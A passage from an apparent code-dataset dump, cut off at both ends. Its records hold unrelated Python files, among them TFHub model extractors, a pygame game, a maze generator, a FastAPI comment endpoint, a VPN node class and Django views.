separate feature in the \n ExtractorResult.\n Alternatively, the model output can be packed into a single \n feature (i.e. a vector) by passing a single-element list \n (e.g. ['encoding']) or a string. Along the lines of \n the previous examples, if a single feature name is \n passed here (e.g. if features=['encoding']) for a TFHub model \n that outputs a 768-dimensional encoding, the extractor will \n return only one feature named 'encoding', which contains the \n encoding vector as a 1-d array wrapped in a list.\n If no value is passed, the extractor will automatically \n compute the number of features in the model output \n and return an equal number of features in pliers, labeling\n each feature with a generic prefix + its positional index \n in the model output (feature_0, feature_1, ... ,feature_n).\n transform_out (optional): function to transform model \n output for compatibility with extractor result\n transform_inp (optional): function to transform Stim.data \n for compatibility with model input format\n kwargs (dict): arguments to hub.KerasLayer call\n '''\n\n _log_attributes = ('url_or_path', 'features', 'transform_out')\n _input_type = Stim\n\n def __init__(self, url_or_path, features=None,\n transform_out=None, transform_inp=None,\n **kwargs):\n verify_dependencies(['tensorflow_hub'])\n self.model = hub.KerasLayer(url_or_path, **kwargs)\n self.url_or_path = url_or_path\n self.features = features\n self.transform_out = transform_out\n self.transform_inp = transform_inp\n super().__init__()\n\n def get_feature_names(self, out):\n if self.features:\n return listify(self.features)\n else:\n return ['feature_' + str(i) \n for i in range(out.shape[-1])]\n \n def _preprocess(self, stim):\n if self.transform_inp:\n return self.transform_inp(stim.data)\n else:\n if type(stim) == TextStim:\n return listify(stim.data)\n else:\n return stim.data\n\n def _postprocess(self, out):\n if self.transform_out:\n out = self.transform_out(out)\n return out.numpy().squeeze()\n \n def _extract(self, stim):\n inp = self._preprocess(stim)\n out = self.model(inp)\n out = self._postprocess(out)\n features = self.get_feature_names(out)\n return ExtractorResult(listify(out), stim, self, \n features=features)\n \n def _to_df(self, result):\n if len(result.features) == 1:\n data = [result._data]\n else:\n data = np.array(result._data)\n if len(data.shape) > 2:\n data = data.squeeze()\n res_df = pd.DataFrame(data, columns=result.features)\n return res_df\n\n\nclass TFHubImageExtractor(TFHubExtractor):\n\n ''' TFHub Extractor class for image models\n Args:\n url_or_path (str): url or path to TFHub model\n features (optional): list of labels (for classification) \n or other feature names. If not specified, returns \n numbered features (feature_0, feature_1, ... ,feature_n)\n rescale_rgb (bool): whether to rescale values to 0-1 range\n reshape_input (tuple): if input needs to be reshaped, \n specifies target shape (height, width, n_channels).\n Details on whether the model only accept a fixed size are\n usually provided on the TFHub model page\n kwargs (dict): arguments to hub.KerasLayer call\n '''\n\n _input_type = ImageStim\n _log_attributes = ('url_or_path', 'features', 'rescale_rgb', \n 'reshape_input')\n\n def __init__(self, \n url_or_path, \n features=None,\n rescale_rgb=True, \n reshape_input=None, \n **kwargs):\n if not reshape_input:\n logging.warning('Note that some models may require (or perform best with) '\n 'specific input shapes. Incompatible shapes may raise errors'\n ' at extraction. Make sure you check the docs for '\n 'your model on TFHub. If needed, you can reshape '\n 'your input image by passing the desired target shape '\n '(height, width, n_channels) to reshape_input')\n self.rescale_rgb = rescale_rgb\n self.reshape_input = reshape_input\n super().__init__(url_or_path, features, **kwargs)\n\n def _preprocess(self, stim):\n if self.reshape_input:\n resizer = ImageResizingFilter(size=self.reshape_input[:-1])\n x = resizer.transform(stim).data\n else:\n x = stim.data\n if self.rescale_rgb:\n x = x / 255.0\n x = tf.convert_to_tensor(x, dtype=tf.float32)\n x = tf.expand_dims(x, axis=0)\n return x\n\n\nclass TFHubTextExtractor(TFHubExtractor):\n\n ''' TFHub extractor class for text models\n Args:\n url_or_path (str): url or path to TFHub model. You can\n browse models at https://tfhub.dev/.\n features (optional): list of labels or other feature names. \n The number of items must match the number of features \n in the model output. For example, if a text encoder \n outputting 768-dimensional encoding is passed \n (e.g. base BERT), this must be a list containing 768 items. \n Each dimension in the model output will be returned as a \n separate feature in the ExtractorResult.\n Alternatively, the model output can be packed into a single \n feature (i.e. a vector) by passing a single-element list \n (e.g. ['encoding']) or a string. If no value is passed, \n the extractor will automatically compute the number of \n features in the model output and return an equal number \n of features in pliers, labeling each feature with a \n generic prefix + its positional index in the model \n output (feature_0, feature_1, ... ,feature_n).\n output_key (str): key to desired embedding in output \n dictionary (see documentation at \n https://www.tensorflow.org/hub/common_saved_model_apis/text).\n Set to None is the output is not a dictionary.\n preprocessor_url_or_path (str): if the model requires \n preprocessing through another TFHub model, specifies the \n url or path to the preprocessing module. Information on \n required preprocessing and appropriate models is generally\n available on the TFHub model webpage\n preprocessor_kwargs (dict): dictionary or named arguments\n for preprocessor model hub.KerasLayer call\n '''\n\n _input_type = TextStim \n\n def __init__(self,\n url_or_path, \n features=None,\n output_key='default',\n preprocessor_url_or_path=None, \n preprocessor_kwargs=None,\n **kwargs):\n super().__init__(url_or_path, features, **kwargs)\n self.output_key = output_key\n self.preprocessor_url_or_path=preprocessor_url_or_path\n self.preprocessor_kwargs = preprocessor_kwargs\n try:\n verify_dependencies(['tensorflow_text'])\n except MissingDependencyError:\n logging.warning('Some TFHub text models require TensorFlow Text '\n '(see https://www.tensorflow.org/tutorials/tensorflow_text/intro),'\n ' which is not installed.'\n ' Missing dependency errors may arise.')\n\n def _preprocess(self, stim):\n x = listify(stim.data)\n if self.preprocessor_url_or_path:\n preprocessor = hub.KerasLayer(self.preprocessor_url_or_path,\n self.preprocessor_kwargs)\n x = preprocessor(x)\n return x\n \n def _postprocess(self, out):\n if not self.output_key:\n return out.numpy().squeeze()\n else:\n try:\n return out[self.output_key].numpy().squeeze()\n except KeyError:\n raise ValueError(f'{self.output_key} is not a valid key.'\n 'Check which keys are available in the output '\n 'embedding dictionary in TFHub docs '\n '(https://www.tensorflow.org/hub/common_saved_model_apis/text)'\n f' or at the model URL ({self.url_or_path})')\n except (IndexError, TypeError):\n raise ValueError(f'Model output is not a dictionary. '\n 'Try initialize the extractor with output_key=None.')\n\n\nclass TensorFlowKerasApplicationExtractor(ImageExtractor):\n\n ''' Labels objects in images using a pretrained Inception V3 architecture\n implemented in TensorFlow / Keras.\n\n Images must be RGB and be a certain shape. Different model architectures\n may require different shapes, and images will be resized (with some\n distortion) if the shape of the image is different.\n\n Args:\n architecture (str): model architecture to use. One of 'vgg16', 'vgg19',\n 'resnet50', 'inception_resnetv2', 'inceptionv3', 'xception',\n 'densenet121', 'densenet169', 'nasnetlarge', or 'nasnetmobile'.\n weights (str): URL to download pre-trained weights. If None (default),\n uses the pre-trained weights trained on ImageNet used in Keras\n Applications.\n num_predictions (int): Number of top predicted labels to retain for\n each image.\n '''\n\n _log_attributes = ('architecture', 'weights', 'num_predictions')\n VERSION = '1.0'\n\n def __init__(self,\n architecture='inceptionv3',\n weights=None,\n num_predictions=5):\n verify_dependencies(['tensorflow'])\n verify_dependencies(['tensorflow.keras'])\n super().__init__()\n\n # Model name: (model module, model function, required shape).\n apps = tf.keras.applications\n model_mapping = {\n 'vgg16': (apps.vgg16, apps.vgg16.VGG16, (224, 224, 3)),\n 'vgg19': (apps.vgg19, apps.VGG19, (224, 224, 3)),\n 'resnet50': (apps.resnet50, apps.resnet50.ResNet50, (224, 224, 3)),\n 'inception_resnetv2': (\n apps.inception_resnet_v2,\n apps.inception_resnet_v2.InceptionResNetV2, (299, 299, 3)),\n 'inceptionv3': (\n apps.inception_v3, apps.inception_v3.InceptionV3,\n (299, 299, 3)),\n 'xception': (apps.xception, apps.xception.Xception, (299, 299, 3)),\n 'densenet121': (\n apps.densenet, apps.densenet.DenseNet121, (224, 224, 3)),\n 'densenet169': (\n apps.densenet, apps.densenet.DenseNet169, (224, 224, 3)),\n 'densenet201': (\n apps.densenet, apps.densenet.DenseNet201, (224, 224, 3)),\n 'nasnetlarge': (\n apps.nasnet, apps.nasnet.NASNetLarge, (331, 331, 3)),\n 'nasnetmobile': (\n apps.nasnet, apps.nasnet.NASNetMobile, (224, 224, 3)),\n }\n if weights is None:\n weights = 'imagenet'\n if architecture.lower() not in model_mapping.keys():\n raise ValueError(\n \"Unknown architecture '{}'. Available arhitectures are '{}'.\"\n .format(architecture, \"', '\".join(model_mapping.keys())))\n\n self.architecture = architecture.lower()\n self.weights = weights\n self.num_predictions = num_predictions\n\n # The preprocessing and decoding functions are in the module.\n self._model_module = model_mapping[self.architecture][0]\n # Instantiating the model also downloads the weights to a cache.\n self.model = model_mapping[self.architecture][1](weights=self.weights)\n self._required_shape = model_mapping[self.architecture][2]\n\n def _extract(self, stim):\n x = stim.data\n if x.ndim != 3:\n raise ValueError(\n \"Stim data must have rank 3 but got rank {}\".format(x.ndim))\n if x.shape != self._required_shape:\n resizer = ImageResizingFilter(size=self._required_shape[:-1])\n x = resizer.transform(stim).data\n # Add batch dimension.\n x = x[None]\n # Normalize the features.\n x = self._model_module.preprocess_input(x)\n preds = self.model.predict(x, batch_size=1)\n\n # This produces a nested list. There is one sub-list per sample in the\n # batch, and each sub-list contains `self.num_predictions` tuples with\n # `(ID, human-readable-label, probability)`.\n decoded = self._model_module.decode_predictions(\n preds, top=self.num_predictions)\n\n # We assume there is only one sample in the batch.\n decoded = decoded[0]\n values = [t[2] for t in decoded]\n features = [t[1] for t in decoded]\n\n return ExtractorResult([values], stim, self, features=features)\n","sub_path":"pliers/extractors/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":14979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"389648197","text":"import reprlib\nimport pickle\n\n\nclass Person:\n def __init__(self, name, age, siblings=None):\n self.name = name\n self.age = age\n\n self.siblings = [] if siblings is None else siblings\n\n @reprlib.recursive_repr()\n def __repr__(self):\n return 'Person({!r}, {!r}, {!r})'.format(self.name,\n self.age,\n self.siblings)\n\n @staticmethod\n def make_siblings(first, second):\n if first not in second.siblings:\n second.siblings.append(first)\n if second not in first.siblings:\n first.siblings.append(second)\n\n\ndef serialize(filename, *people):\n with open(filename, 'wb') as file:\n pickle.dump(people, file)\n\n\ndef deserialize(filename):\n with open(filename, 'rb') as file:\n people = pickle.load(file)\n\n return people\n\n\nif __name__ == '__main__':\n sylvia = Person('Sylvia', 24)\n john = Person('John-Konstantin', 23)\n ann = Person('Ann-Michael', 20)\n sharik = Person('Sharik', 25)\n\n Person.make_siblings(sylvia, john)\n Person.make_siblings(ann, sharik)\n\n file = 'people.pkl'\n\n serialize(file, sylvia, john, ann, sharik)\n people = deserialize(file)\n\n print(people)\n","sub_path":"example13.py","file_name":"example13.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"533316474","text":"import pygame\nimport random\n \nimport block_library\nimport good_block_library\nimport bad_block_library\n \n# Define some colors\nBLACK = ( 0, 0, 0)\nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = ( 0, 0, 255)\nHEIGHT = 400\nWIDTH = 700\n\nTEXT_SIZE = 25\nTEXT_POSITION = [int( WIDTH/2-TEXT_SIZE ), int( HEIGHT/3 )]\n\n\n\nclass Player(block_library.Block):\n\t\"\"\" The class is the player-controlled sprite. \"\"\"\n \n\t# -- Methods\n\tdef __init__(self, color, x, y, width, height):\n\t\t\"\"\"Constructor function\"\"\"\n\t\t# Call the parent's constructor\n\t\tsuper().__init__(color, width, height)\n\n \n\t\t# Make our top-left corner the passed-in location.\n\t\tself.rect.x = x\n\t\tself.rect.y = y\n \n\t\t# -- Attributes\n\t\t# Set speed vector\n\t\tself.change_x = 0\n\t\tself.change_y = 0\n\t\tself.bump_x = False\n\t\tself.bump_y = False\n \n\tdef changespeed(self, x, y):\n\t\t\"\"\" Change the speed of the player\"\"\"\n\t\tself.change_x += x\n\t\tself.change_y += y\n \n\tdef update(self):\n\t\t\"\"\" Find a new position for the player\"\"\"\n\t\tself.rect.x += self.change_x\n\t\tself.rect.y += self.change_y\n\t\t\n\t\tif self.rect.x <= 0:\n\t\t\tself.rect.x = 0\n\t\t\tif not self.bump_x:\n\t\t\t\tbump_sound.play()\n\t\t\t\tself.bump_x = True\t\t\t\t\n\t\telif self.rect.x + self.width >= WIDTH:\n\t\t\tself.rect.x = WIDTH - self.width\n\t\t\tif not self.bump_x:\n\t\t\t\tbump_sound.play()\n\t\t\t\tself.bump_x = True\n\t\telse:\n\t\t\tself.bump_x = False\n\t\t\t\n\t\tif self.rect.y <= 0:\n\t\t\tself.rect.y = 0\n\t\t\tif not self.bump_y:\n\t\t\t\tbump_sound.play()\n\t\t\t\tself.bump_y = True\t\t\t\t\n\t\telif self.rect.y + self.height >= HEIGHT:\n\t\t\tself.rect.y = HEIGHT - self.height\n\t\t\tif not self.bump_y:\n\t\t\t\tbump_sound.play()\n\t\t\t\tself.bump_y = True\n\t\telse:\n\t\t\tself.bump_y = False\n\t\t\t\n \n# Initialize Pygame\npygame.init()\n \n# Set the height and width of the screen\n\nscreen = pygame.display.set_mode([WIDTH, HEIGHT])\npygame.display.set_caption('Collide don\\'t be angry')\n\nfont = pygame.font.SysFont('Calibri', TEXT_SIZE, True, False)\n\nbump_sound = pygame.mixer.Sound(\"bump.wav\")\nbad_sound = pygame.mixer.Sound(\"bad_block.wav\")\ngood_sound = pygame.mixer.Sound(\"good_block.wav\")\n\n# This is a list of 'sprites.' Each block in the program is\n# added to this list. The list is managed by a class called 'Group.'\nbad_block_list = pygame.sprite.Group()\ngood_block_list = pygame.sprite.Group()\n\n# This is a list of every sprite. \n# All blocks and the player block as well.\nall_sprites_list = pygame.sprite.Group()\n \nfor i in range(50):\n\t# This represents a block\n\tgood_block = good_block_library.Good_block(GREEN, 20, 15)\n\tbad_block = bad_block_library.Bad_block(RED, 20, 15)\n\t# Set a random location for the block\n\tgood_block.rect.x = random.randrange(WIDTH)\n\tgood_block.rect.y = random.randrange(HEIGHT)\n\tbad_block.rect.x = random.randrange(WIDTH)\n\tbad_block.rect.y = random.randrange(HEIGHT)\n\t\n\t# Add the block to the list of objects\n\tgood_block_list.add(good_block)\n\tall_sprites_list.add(good_block)\n\tbad_block_list.add(bad_block)\n\tall_sprites_list.add(bad_block)\n# Create a RED player block\nplayer = Player(BLUE, 5, 5, 20, 15)\nall_sprites_list.add(player)\n \n# Loop until the user clicks the close button.\ndone = False\n \n# Used to manage how fast the screen updates\nclock = pygame.time.Clock()\n \nscore = 0\n \n# -------- Main Program Loop -----------\nwhile not done:\n\tfor event in pygame.event.get(): \n\t\tif event.type == pygame.QUIT: \n\t\t\tdone = True\n\t\t\n\t\t# Set the speed based on the key pressed\n\t\telif event.type == pygame.KEYDOWN:\n\t\t\tif event.key == pygame.K_LEFT:\n\t\t\t\tplayer.changespeed(-3, 0)\n\t\t\telif event.key == pygame.K_RIGHT:\n\t\t\t\tplayer.changespeed(3, 0)\n\t\t\telif event.key == pygame.K_UP:\n\t\t\t\tplayer.changespeed(0, -3)\n\t\t\telif event.key == pygame.K_DOWN:\n\t\t\t\tplayer.changespeed(0, 3)\n \n\t\t# Reset speed when key goes up\n\t\telif event.type == pygame.KEYUP:\n\t\t\tif event.key == pygame.K_LEFT:\n\t\t\t\tplayer.changespeed(3, 0)\n\t\t\telif event.key == pygame.K_RIGHT:\n\t\t\t\tplayer.changespeed(-3, 0)\n\t\t\telif event.key == pygame.K_UP:\n\t\t\t\tplayer.changespeed(0, 3)\n\t\t\telif event.key == pygame.K_DOWN:\n\t\t\t\tplayer.changespeed(0, -3)\n \n\t# Clear the screen\n\tscreen.fill(WHITE)\n \n\tall_sprites_list.update()\n\n\t# See if the player block has collided with anything.\n\tblocks_hit_list = pygame.sprite.spritecollide(player, good_block_list, True)\n \n\t# Check the list of collisions.\n\tfor block in blocks_hit_list:\n\t\tscore += 1\n\t\tgood_sound.play()\n\t\tprint(score)\n\t\n\tblocks_hit_list = pygame.sprite.spritecollide(player, bad_block_list, True)\n \n\t# Check the list of collisions.\n\tfor block in blocks_hit_list:\n\t\tscore -= 1\n\t\tbad_sound.play()\n\t\tprint(score)\n \n\t# Draw all the spites\n\tall_sprites_list.draw(screen)\n\t\n\ttext = font.render('score: '+ str(score), True, BLACK)\n\tscreen.blit(text, TEXT_POSITION)\n \n\t# Go ahead and update the screen with what we've drawn.\n\tpygame.display.flip()\n \n\t# Limit to 60 frames per second\n\tclock.tick(60)\n \npygame.quit()","sub_path":"Python Learning Project/Chapter 14/lab_abccaba/hw_lab_abccaba_collide.py","file_name":"hw_lab_abccaba_collide.py","file_ext":"py","file_size_in_byte":4796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"152744718","text":"import requests\nimport gspread\nimport configparser\n\nfrom oauth2client.service_account import ServiceAccountCredentials\nfrom bs4 import BeautifulSoup\n\nconfig = configparser.ConfigParser()\nconfig.read(\"config.ini\")\n\ndef auth_gss_client(path, scopes):\n credentials = ServiceAccountCredentials.from_json_keyfile_name(path,scopes)\n return gspread.authorize(credentials)\n\ndef update_sheet(gss_client, key, text):\n wks = gss_client.open_by_key(key)\n sheet = wks.sheet1\n sheet.insert_row([text], 2)\n\n\ntarget_url = 'http://www.truemovie.com/tairelease2019.htm'\nrs = requests.session()\nres = rs.get(target_url, verify=False)\nres.encoding = 'Big5'\nsoup = BeautifulSoup(res.text, 'html.parser')\ncontent = \"\"\n\nfor index, data in enumerate(soup.select('table td a')):\n movie = data.text.replace('\\n', '').replace('\\u3000', '').replace(\" \", \"\").replace('\\t', '').replace('\\r', '') \n print(movie)\n auth_json_path = config['gspread']['auth_json_path']\n spreadsheet_key = config['gspread']['spreadsheet_key']\n gss_scopes = ['https://spreadsheets.google.com/feeds']\n gss_client = auth_gss_client(auth_json_path, gss_scopes)\n update_sheet(gss_client, spreadsheet_key, movie)\n #print(movie)","sub_path":"bin/all_movies.py","file_name":"all_movies.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"458344402","text":"# -*- coding: utf-8 -*-\n# file.models\n\nfrom google.appengine.ext.ndb import model\nfrom google.appengine.ext.blobstore import BlobInfo\nfrom apps.utils.models import BaseModel\nfrom apps.utils.models import DateMixin\nimport uuid\nimport os\nfrom kay.utils import url_for\n\n\nclass File(BaseModel, DateMixin):\n uid = model.StringProperty(default=str(uuid.uuid1()).replace('-', ''))\n name = model.StringProperty()\n blob = model.BlobKeyProperty()\n\n @property\n def get_name(self):\n if not self.name and self.blob:\n bi = BlobInfo.get(self.blob)\n self.name = os.path.basename(bi.filename.replace('\\\\', '/'))\n return self.name\n\n def url(self, save_as=False, save_name=''):\n if not save_name:\n save_name = self.get_name\n if not save_name:\n save_name = 'untitled'\n if save_as:\n return url_for('file/save_as', f_key=self.id, f_name=save_name)\n return url_for('file/view', f_key=self.id, f_name=save_name)\n","sub_path":"apps/file/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"280281470","text":"__author__ = 'markus'\nfrom random import shuffle, randrange\nfrom Tile import Tile\nfrom math import floor\n\nclass Level():\n def __init__(self,tiles):\n self.tiles=tiles\n\nclass MapGen():\n def __init__(self,width,height,levels,loadGame=False):\n self.width=width\n self.height=height\n self.levels=levels\n self.level = []\n self.endPoint = [None,None,None]\n self.longestPathLength = 0\n for k in range(0,levels):\n tiles = [[Tile() for j in range(height)] for i in range(width)]\n for j in range (0,height):\n for i in range(0,width):\n tiles[j][i].x=i\n tiles[j][i].y=j\n if (j%2==0 or i%2==0):\n tiles[j][i].is_wall=True\n if not self.boundaryCheck(i,j):\n tiles[j][i].is_visited=True\n self.level.append(Level(tiles))\n self.DIRECTIONS={'N':(0,-1),'S':(0,1),'W':(-1,0),'E':(1,0),'U':'Up','D':'Down'}\n if not loadGame:\n self.starting_pointX = randrange(1,width-2,2)\n self.starting_pointY = randrange(1,height-2,2)\n self.carveWalls(self.starting_pointX,self.starting_pointY,0,True,0)\n self.level[0].tiles[self.starting_pointY][self.starting_pointX].is_player=True\n self.level[self.endPoint[2]].tiles[self.endPoint[1]][self.endPoint[0]].is_endPoint=True\n\n\n def printMap(self,index):\n for i in range(0,50):\n print('')\n for i in range(0,floor(self.width/2-4)):\n print(' ',end='')\n print('LEVEL: ' + str(index))\n for j in range(0,self.height):\n for i in range (0,self.width):\n if self.level[index].tiles[j][i].is_wall:\n print('#',end='')\n elif self.level[index].tiles[j][i].isPlayer():\n print('C',end='')\n elif self.level[index].tiles[j][i].isUpstairs():\n print('/',end='')\n elif self.level[index].tiles[j][i].isDownstairs():\n print('\\\\',end='')\n elif self.level[index].tiles[j][i].isEndPoint():\n print('E',end='')\n else:\n print(' ',end='')\n print()\n\n def carveWalls(self,x,y,index,forceHorizontal,length):\n length=length+1\n self.level[index].tiles[y][x].markTile()\n directions=self.DIRECTIONS.values()\n directions=list(directions)\n shuffle(directions)\n for item in directions:\n if (item=='Up'):\n if index0 and not forceHorizontal:\n if self.isCarvable(x,y,index-1):\n self.level[index].tiles[y][x].is_downstairs=True\n self.level[index-1].tiles[y][x].is_upstairs=True\n self.carveWalls(x,y,index-1,True,length)\n else:\n next_wall=self.level[index].tiles[y+item[1]][x+item[0]]\n if next_wall.isWall() and self.boundaryCheck(next_wall.x,next_wall.y):\n next_cell=self.level[index].tiles[y+2*item[1]][x+2*item[0]]\n if not next_cell.is_visited:\n self.level[index].tiles[next_wall.y][next_wall.x].removeWall()\n self.level[index].tiles[next_cell.y][next_cell.x].markTile()\n self.carveWalls(next_cell.x,next_cell.y,index,False,length)\n if length>=self.longestPathLength:\n self.longestPathLength=length\n self.endPoint[0]=x\n self.endPoint[1]=y\n self.endPoint[2]=index\n\n def isCarvable(self,x,y,index):\n flag=True\n if self.level[index].tiles[y][x].is_visited:\n return False\n if self.boundaryCheck(x-2,y):\n flag=flag and self.level[index].tiles[y][x-2].is_visited\n if self.boundaryCheck(x,y+2):\n flag=flag and self.level[index].tiles[y+2][x].is_visited\n if self.boundaryCheck(x,y-2):\n flag=flag and self.level[index].tiles[y-2][x].is_visited\n if self.boundaryCheck(x+2,y):\n flag=flag and self.level[index].tiles[y][x+2].is_visited\n return not flag\n\n\n def boundaryCheck(self,x,y):\n return x>0 and x0 and y', n_components)\n np.random.seed(RS)\n best_mean = np.inf\n for rs in np.random.choice(range(1000), size=5, replace=False):\n transformer = GaussianRandomProjection(random_state=rs, n_components=n_components)\n X_new = transformer.fit_transform(X)\n\n ratios = []\n for i in range(n_pairs):\n idx1 = sample_idxs[2*i]\n idx2 = sample_idxs[2*i+1]\n d_old = distance.euclidean(X[idx1], X[idx2])\n d_new = distance.euclidean(X_new[idx1], X_new[idx2])\n ratio = d_new / d_old\n ratios.append(ratio)\n try_mean = np.mean(ratio)\n if (try_mean - 1)**2 < best_mean:\n best_mean = try_mean\n y_vals.append(best_mean)\n print('best_mean', best_mean)\n print('')\n\nplot_stuff(x_vals, y_vals, name)\n","sub_path":"a3/random_project.py","file_name":"random_project.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"315843626","text":"from fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nimport ormar\nimport random\n\nfrom api.models import Comment\n\n\napp = FastAPI()\n\n# For security (avoid another app to connect to this API)\napp.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"], # Allows all origins\n # allow_origins=[\n # \"http://localhost\",\n # \"http://127.0.0.1\",\n # \"https://artificial-non-intelligence.herokuapp.com\"\n # ],\n allow_credentials=True,\n # allow_methods=[\"*\"], # Allows all methods\n allow_methods=[\"GET\"], # Allows only GET method\n allow_headers=[\"*\"], # Allows all headers\n)\n\n\n@app.get('/get-random-comment')\nasync def get_random_comment():\n \"\"\"\n Endpoint which takes a random comment from the database (human-generated or AI-generated), and sends it back along with its ID in the database.\n \"\"\"\n\n # # Get a random record among all of them\n # num_records = await Comment.objects.count()\n # id = randint(1, num_records)\n\n # Get a random record with equal chances between real and AI\n if random.choice([True, False]):\n records = await Comment.objects.filter(realness=1).all()\n else:\n records = await Comment.objects.filter(realness=0).all()\n id = random.choice([r.id for r in records])\n\n comment = await Comment.objects.get(id=id)\n\n return {\n 'id': id, \n 'comment': comment.content,\n # 'realness': comment.realness, # maybe no need to send, to avoid hackers cheating :)\n 'difficulty': comment.difficulty\n } \n\n\n@app.get('/verify-answer')\nasync def verify_answer(questionId: int, answer: int):\n \"\"\"\n Endpoint which receives the answer from the user from the frontend, compares to the fake flag of the comment in the DB, and answers if it was a good or bad answer.\n \"\"\"\n\n content = await Comment.objects.get(id=questionId)\n realness: int = content.realness\n \n if answer == realness:\n return {\n 'id': questionId,\n 'correct': 1 # correct answer \n }\n else:\n return {\n 'id': questionId,\n 'correct': 0 # 0 = wrong answer\n }\n","sub_path":"api/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"500665463","text":"from sparkxarray.downscale import biascorrect as bc\nimport numpy as np\nimport xarray as xr\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns # pandas aware plotting library\n\nnp.random.seed(123)\n\ntimes = pd.date_range('2000-01-01', '2001-12-31', name='time')\nannual_cycle = np.sin(2 * np.pi * (times.dayofyear.values / 365.25 - 0.28))\n\nbase = 10 + 15 * annual_cycle.reshape(-1, 1)\ntmin_values = base + 3 * np.random.randn(annual_cycle.size, 3)\ntmax_values = base + 10 + 3 * np.random.randn(annual_cycle.size, 3)\n\nds = xr.Dataset({'tmin': (('time', 'location'), tmin_values),\n 'tmax': (('time', 'location'), tmax_values)},\n {'time': times, 'location': ['IA', 'IN', 'IL']})\n\n\n\nn = 1000\n\nraw_data = np.random.uniform(low=0, high=40, size=(10,))\nobs = np.random.uniform(low=0.5, high=13.3, size=(n,))\nmod = np.random.uniform(low=1.5, high=19.3, size=(n,))\n\n\n\na = bc.Biascorrect(obs_data=obs, model_data=mod, raw_data=raw_data)\n\nprint(\"Fake observed data: \\n{} \\n\".format(a.obs_data))\nprint(\"Fake model data: \\n{} \\n\".format(a.model_data))\nbc_data = a.qpqm()\nprint(bc_data.shape)\nassert(raw_data.shape == bc_data.shape)\n#assert raw_data == bc_data\n\n\n\n\n","sub_path":"sparkxarray/tests/test_biascorrect.py","file_name":"test_biascorrect.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"84885155","text":"import json\n\nfrom speedtest_cli import Speedtest\nfrom urllib2 import urlopen\n\nfrom ..config import ACCOUNT_DATA_PATH\nfrom ..config import CONFIG_DATA_PATH\nfrom ..db import db\n\n\nclass Node(object):\n def __init__(self, resume=True):\n self.speed_test = Speedtest()\n self.ip = None\n self.location = None\n self.net_speed = {\n 'best_server': {\n 'host': None,\n 'latency': None\n },\n 'download': None,\n 'upload': None\n }\n self.config = {\n 'price_per_GB': None\n }\n self.account = {\n 'addr': None,\n 'keystore': None,\n 'password': None,\n 'private_key': None,\n 'token': None\n }\n\n if resume is True:\n data = json.load(open(ACCOUNT_DATA_PATH, 'r'))\n self.account['addr'] = str(data['addr']).lower()\n self.account['keystore'] = data['keystore']\n self.account['password'] = str(data['password']).lower()\n self.account['private_key'] = str(data['private_key']).lower()\n self.account['token'] = data['token']\n\n data = json.load(open(CONFIG_DATA_PATH, 'r'))\n self.config['price_per_GB'] = float(data['price_per_GB'])\n\n self.update_nodeinfo({'type': 'location'})\n self.update_nodeinfo({'type': 'netspeed'})\n self.save_to_db()\n\n def save_to_db(self):\n node = db.nodes.find_one({\n 'address': self.account['addr']\n })\n if node is None:\n _ = db.nodes.insert_one({\n 'address': self.account['addr'],\n 'location': self.location,\n 'net_speed': self.net_speed\n })\n else:\n _ = db.nodes.find_one_and_update({\n 'address': self.account['addr']\n }, {\n '$set': {\n 'location': self.location,\n 'net_speed': self.net_speed\n }\n })\n\n def save_account_data(self):\n data_file = open(ACCOUNT_DATA_PATH, 'w')\n data = json.dumps(self.account)\n # Must encrypt before save\n data_file.writelines(data)\n data_file.close()\n\n def update_nodeinfo(self, info=None):\n if info['type'] == 'location':\n web_url = 'https://ipleak.net/json'\n response = json.load(urlopen(web_url))\n self.ip = str(response['ip'])\n self.location = {\n 'city': str(response['city_name']),\n 'country': str(response['country_name']),\n 'latitude': float(response['latitude']),\n 'longitude': float(response['longitude'])\n }\n elif info['type'] == 'netspeed':\n self.speed_test.get_best_server()\n self.net_speed['best_server'] = {\n 'host': self.speed_test.best['host'],\n 'latency': self.speed_test.best['latency']\n }\n self.net_speed['download'] = self.speed_test.download()\n self.net_speed['upload'] = self.speed_test.upload()\n elif info['type'] == 'account':\n if info['token'] is not None:\n self.account['token'] = info['token']\n self.save_account_data()\n","sub_path":"vpn-node-docker/sentinel/node/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":3326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"537294946","text":"from django.views.generic.edit import CreateView, DeleteView, UpdateView ,FormView\r\nfrom django.views.generic import ListView,DetailView\r\nfrom django.urls import reverse_lazy,reverse\r\nfrom django.shortcuts import get_object_or_404\r\nfrom acl.views import get_object_or_denied\r\nfrom django.shortcuts import HttpResponseRedirect\r\nfrom django.core.exceptions import ValidationError\r\n\r\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\r\n\r\nfrom django import forms\r\n\r\nimport datetime\r\nfrom dj.views import sms_generator\r\nfrom .models import *\r\nfrom notify.models import *\r\nfrom telegramtemplate.models import *\r\nfrom pointapp.models import *\r\nfrom notifyapp.views import get_message, send_message_in_chat\r\nfrom panel.views import validate_phone\r\n\r\ndef validate_number_ts(value):\r\n\tif len(value) < 8 or len(value) > 9:\r\n\t\traise 